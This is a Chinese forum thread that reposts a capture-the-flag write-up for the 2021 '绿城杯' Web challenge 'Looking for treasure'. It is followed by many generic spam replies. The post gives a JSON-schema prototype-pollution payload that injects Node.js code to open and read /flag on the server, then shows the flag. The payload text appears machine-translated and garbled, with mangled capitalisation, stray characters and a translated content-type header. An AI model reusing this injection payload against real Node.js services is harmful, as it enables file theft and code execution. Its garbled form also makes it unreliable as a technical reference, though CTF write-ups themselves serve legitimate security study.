请选择 进入手机版 | 继续访问电脑版
点击联系客服
客服QQ: 客服微信:

广州老站长门户

 找回密码
 立即注册
查看: 88|回复: 50

2021绿色城市杯网络安全大赛-Web-Looking for treasure

[复制链接]

1

主题

1

帖子

-7

积分

限制会员

积分
-7
发表于 2021-10-1 07:29:06 | 显示全部楼层 |阅读模式
2021年“绿城杯”网络安全大赛-Web-Looking  for  treasure

主题名称:Looking  for  treasure

标题内容:寻找宝藏标题分数:200.0

题目难度:中等

相关附件:Looking  for  treasure的附件6.txt

解题思路:

1.原题直接附上payload

post/validated/JSON-schema/validate

Content-type  :应用程序/JSON

{ ' $ schema  ' : { ' type  ' : ' object  ',' properties  ' : { ' _ _ proto  _ _ ' 3330var  fs=process  . main  module  . require(' fs  ');VAR  FD=FS  . Opensync(`/FL  ` ` AG  `);Fs.readSync(fd,buf,0,128);FS  . Closesync(FD);return  buf  . tostring();//x'},' path' : {'type' :' string  ',' default' :'/foo'}}}}}。

2.拿到flag

DASCTF  { 443 A  317211 BB  28 CD26 F6 EAE  1A  90 EA  1A  }


回复

使用道具 举报

1

主题

1535

帖子

-1001

积分

限制会员

积分
-1001
发表于 2021-10-1 08:20:12 | 显示全部楼层
不错不错,很好哦
回复

使用道具 举报

0

主题

1599

帖子

-1060

积分

限制会员

积分
-1060
发表于 2021-10-1 08:40:31 | 显示全部楼层
好好 学习了 确实不错
回复

使用道具 举报

0

主题

1604

帖子

-996

积分

限制会员

积分
-996
发表于 2021-10-1 09:10:42 | 显示全部楼层
不错不错,楼主您辛苦了。。。
回复

使用道具 举报

0

主题

1582

帖子

-1061

积分

限制会员

积分
-1061
发表于 2021-10-1 09:39:13 | 显示全部楼层
我抢、我抢、我抢沙发~
回复

使用道具 举报

0

主题

1575

帖子

-1042

积分

限制会员

积分
-1042
发表于 2021-10-1 11:35:50 | 显示全部楼层
LZ真是人才
回复

使用道具 举报

0

主题

1565

帖子

-1029

积分

限制会员

积分
-1029
发表于 2021-10-1 12:40:58 | 显示全部楼层
学习了,谢谢分享、、、
回复

使用道具 举报

0

主题

1559

帖子

-966

积分

限制会员

积分
-966
发表于 2021-10-1 14:13:17 | 显示全部楼层
LZ说的很不错
回复

使用道具 举报

1

主题

1581

帖子

-982

积分

限制会员

积分
-982
发表于 2021-10-1 14:37:31 | 显示全部楼层
有竞争才有进步嘛
回复

使用道具 举报

1

主题

1552

帖子

-1033

积分

限制会员

积分
-1033
发表于 2021-10-1 15:13:09 | 显示全部楼层
过来看看的
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|无图版|手机版|小黑屋|广州@IT精英团

GMT+8, 2021-10-25 09:32 , Processed in 0.280800 second(s), 25 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表